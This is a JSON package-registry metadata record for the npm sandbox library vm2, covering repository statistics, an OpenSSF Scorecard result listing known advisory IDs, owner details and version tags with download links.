{"id":2528841,"name":"vm2","ecosystem":"npm","description":"vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.","homepage":"https://github.com/patriksimek/vm2#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/patriksimek/vm2","keywords_array":["sandbox","prison","jail","vm","alcatraz","contextify"],"namespace":null,"versions_count":83,"first_release_published_at":"2014-01-14T12:17:34.402Z","latest_release_published_at":"2026-09-08T16:28:43.241Z","latest_release_number":"3.12.2","last_synced_at":"2026-10-18T10:51:20.896Z","created_at":"2022-04-10T03:04:48.061Z","updated_at":"2026-10-18T18:40:37.317Z","registry_url":"https://www.npmjs.com/package/vm2","install_command":"npm install vm2","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"3.12.2"},"contentPolicy":null},"repo_metadata":{"id":13215977,"uuid":"15900151","full_name":"patriksimek/vm2","owner":"patriksimek","description":"Advanced vm/sandbox for Node.js","archived":false,"fork":false,"pushed_at":"2026-09-13T04:56:36.000Z","size":2431,"stargazers_count":4106,"open_issues_count":15,"forks_count":331,"subscribers_count":41,"default_branch":"main","last_synced_at":"2026-10-13T12:38:12.650Z","etag":null,"topics":["javascript","node-js","sandbox","security","vm"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patriksimek.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE.md","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2014-01-14T11:31:39.000Z","updated_at":"2026-10-13T10:23:07.000Z","dependencies_parsed_at":"2026-10-13T12:38:52.026Z","dependency_job_id":null,"html_url":"https://github.com/patriksimek/vm2","commit_stats":{"total_commits":340,"total_committers":38,"mean_commits":8.947368421052632,"dds":0.4970588235294118,"last_synced_commit":"4f63dc23fecabc79ee1501fde6e9e83c524d6466"},"previous_names":[],"tags_count":38,"template":false,"template_full_name":null,"purl":"pkg:github/patriksimek/vm2","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patriksimek","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/sbom","scorecard":{"id":722549,"data":{"date":"2025-08-11","repo":{"name":"github.com/patriksimek/vm2","commit":"d9a1fde8ec5a5a9c9e5a69bf91d703950859d744"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.2,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":1,"reason":"Found 2/19 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node-test.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/patriksimek/vm2/node-test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node-test.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/patriksimek/vm2/node-test.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/node-test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.md:0","Info: FSF or OSI recognized license: MIT License: LICENSE.md:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: could not determine whether codeowners review is allowed","Warn: no status checks found to merge onto branch 'master'","Warn: PRs are not required to make changes on branch 'master'; or we don't have data to detect it.If you think it might be the latter, make sure to run Scorecard with a PAT or use Repo Rules (that are always public) instead of Branch Protection settings"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-gxpj-cx7g-858c","Warn: Project is vulnerable to: GHSA-2j2x-2gpw-g8fm","Warn: Project is vulnerable to: GHSA-f8q6-p94x-37v3","Warn: Project is vulnerable to: GHSA-c2qf-rxjj-qqgw","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6","Warn: Project is vulnerable to: GHSA-j8xg-fqg3-53r7"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:48:40.727Z","repository_id":13215977,"created_at":"2025-08-22T11:48:40.727Z","updated_at":"2025-08-22T11:48:40.727Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344794859,"owners_count":38300881,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-14T02:00:06.392Z","response_time":82,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"patriksimek","name":"Patrik Simek","uuid":"1000058","kind":"user","description":"Co-founder \u0026 CTO at Make (formerly @integromat)","email":"","website":"https://patriksimek.cz","location":"Prague, Czechia","twitter":"patriksimek","company":"Make (formerly @integromat)","icon_url":"https://avatars.githubusercontent.com/u/1000058?u=2d29bb0e062ee7253c28d2b94586fe1320936c80\u0026v=4","repositories_count":44,"last_synced_at":"2024-04-15T11:03:36.883Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/patriksimek","funding_links":[],"total_stars":3950,"followers":165,"following":6,"created_at":"2022-11-02T16:30:00.617Z","updated_at":"2024-04-15T11:03:48.659Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patriksimek","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patriksimek/repositories"},"tags":[{"name":"v3.12.2","sha":"a0139cf6a7ad72a685420f53479a99fe385cf394","kind":"commit","published_at":"2026-09-08T16:18:42.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.12.2","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.12.2/manifests"},{"name":"v3.12.1","sha":"45e32a69f09717990e83848a313b817bb758f170","kind":"commit","published_at":"2026-09-02T23:19:37.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.12.1","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.12.1/manifests"},{"name":"v3.12.0","sha":"7e3954ea718be8d41e4ffb452d50e7468e9542ed","kind":"commit","published_at":"2026-09-01T09:23:49.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.12.0","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.12.0/manifests"},{"name":"v3.11.8","sha":"525961bf631b4a5a776e1eb620bcadad4438b130","kind":"commit","published_at":"2026-08-27T19:22:08.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.11.8","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.11.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.8/manifests"},{"name":"v3.11.7","sha":"0c5b63a228c0af88d4a0d364ab0b90df278d710e","kind":"commit","published_at":"2026-08-24T22:06:41.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.11.7","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.11.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.7/manifests"},{"name":"3.11.6","sha":"a5b31cd9c01b37139aa9c71df1c691a6d1b440f9","kind":"commit","published_at":"2026-08-14T19:54:31.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.11.6","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.11.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.11.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.11.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.11.6/manifests"},{"name":"v3.11.5","sha":"7a1f5100b96f48d34e0fe104ab37c0acc5944f92","kind":"commit","published_at":"2026-05-18T15:24:37.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.11.5","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.11.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.5/manifests"},{"name":"v3.11.4","sha":"27354d56563b0acb54eb9dd92edbc167612b9d4b","kind":"commit","published_at":"2026-05-18T12:40:09.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.11.4","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.4/manifests"},{"name":"v3.11.3","sha":"093494c0c3ef2390d2e56909f9d56e290e6f18b0","kind":"commit","published_at":"2026-05-11T02:02:03.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.11.3","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.3/manifests"},{"name":"v3.11.2","sha":"7a552e89e88bf34e0c3a33916aa7900efd9fd2f4","kind":"commit","published_at":"2026-05-03T21:26:02.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.11.2","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.2/manifests"},{"name":"v3.11.1","sha":"46cbbdde4e19b743974c942278080231004146ca","kind":"commit","published_at":"2026-05-01T21:12:21.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.11.1","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.1/manifests"},{"name":"v3.11.0","sha":"fca270df73b64a88e2f9ce71ac17663b6eaf814e","kind":"commit","published_at":"2026-05-01T20:30:15.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.11.0","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.11.0/manifests"},{"name":"v3.10.5","sha":"408fc855f1cc1bbc2985b029465ee0e732ada433","kind":"commit","published_at":"2026-02-17T01:05:48.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.10.5","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.5/manifests"},{"name":"v3.10.4","sha":"7cf744506cd2ab3544103eb5a4e64408eaec4a87","kind":"commit","published_at":"2026-02-04T22:42:31.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.10.4","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.4/manifests"},{"name":"v3.10.3","sha":"a99a456b12c37bc3a419093b0aeaf35f36e21346","kind":"commit","published_at":"2026-01-25T23:06:13.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.10.3","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.3/manifests"},{"name":"v3.10.2","sha":"4b009c2d4b1131c01810c1205e641d614c322a29","kind":"commit","published_at":"2026-01-17T14:50:39.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.10.2","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.2/manifests"},{"name":"v3.10.1","sha":"055b2f83eaa514deffa568ecfa92086a63d53fa0","kind":"commit","published_at":"2026-01-09T20:32:59.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.10.1","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.1/manifests"},{"name":"v3.10.0","sha":"96acb88d9bbf3006156bfb86c12fed4954224c7d","kind":"commit","published_at":"2025-10-24T19:42:25.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/v3.10.0","html_url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@v3.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/v3.10.0/manifests"},{"name":"3.9.19","sha":"1663f231ec02db473ed5b743e3b91b8a2ffc7982","kind":"commit","published_at":"2023-05-16T05:27:48.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.19","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.19/manifests"},{"name":"3.9.18","sha":"2f446e5d19e6539b5164b45b1f8bd4ded4dfc085","kind":"commit","published_at":"2023-05-15T11:09:44.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.18","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.18/manifests"},{"name":"3.9.17","sha":"4f63dc23fecabc79ee1501fde6e9e83c524d6466","kind":"commit","published_at":"2023-04-17T14:56:33.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.17","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.17/manifests"},{"name":"3.9.16","sha":"24c724daa7c09f003e556d7cd1c7a8381cb985d7","kind":"commit","published_at":"2023-04-11T08:44:44.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.16","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.16/manifests"},{"name":"3.9.15","sha":"115d1644b7308a5570cba58ec461ae61b96a583c","kind":"commit","published_at":"2023-04-06T18:15:32.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.15","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.15/manifests"},{"name":"3.9.14","sha":"e541782b7ff709c07676d07d982517d0591e5774","kind":"commit","published_at":"2023-02-05T20:36:44.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.14","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.14/manifests"},{"name":"3.9.13","sha":"d4bcc2189e2e05efcd82e09172ba41c708950012","kind":"commit","published_at":"2022-12-08T17:56:09.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.13","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.13/manifests"},{"name":"3.9.12","sha":"4aa36051c1dcc4c2d7fe671261dd3798a6b56329","kind":"commit","published_at":"2022-11-29T15:29:06.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.12","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.12/manifests"},{"name":"3.9.11","sha":"392f126b18d5f6e1ea9300a2176707fc852da863","kind":"commit","published_at":"2022-08-28T14:00:31.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.11","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.11/manifests"},{"name":"3.9.10","sha":"6fcb7079c2a7673f3682f590df07417b1f4991fe","kind":"commit","published_at":"2022-07-05T12:41:32.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.10","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.10/manifests"},{"name":"3.9.9","sha":"733579359f53d4b0c2c1beb95dc9d52eb6dc20d9","kind":"commit","published_at":"2022-02-24T21:22:35.000Z","download_url":"https://codeload.github.com/patriksimek/vm2/tar.gz/3.9.9","html_url":"https://github.com/patriksimek/vm2/releases/tag/3.9.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patriksimek/vm2@3.9.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patriksimek%2Fvm2/tags/3.9.9/manifests"},{"name":"3.9.8","sha":"925e3e665acfa37dd3db0ea8e7f02b57277677e8","kind":"commit","published_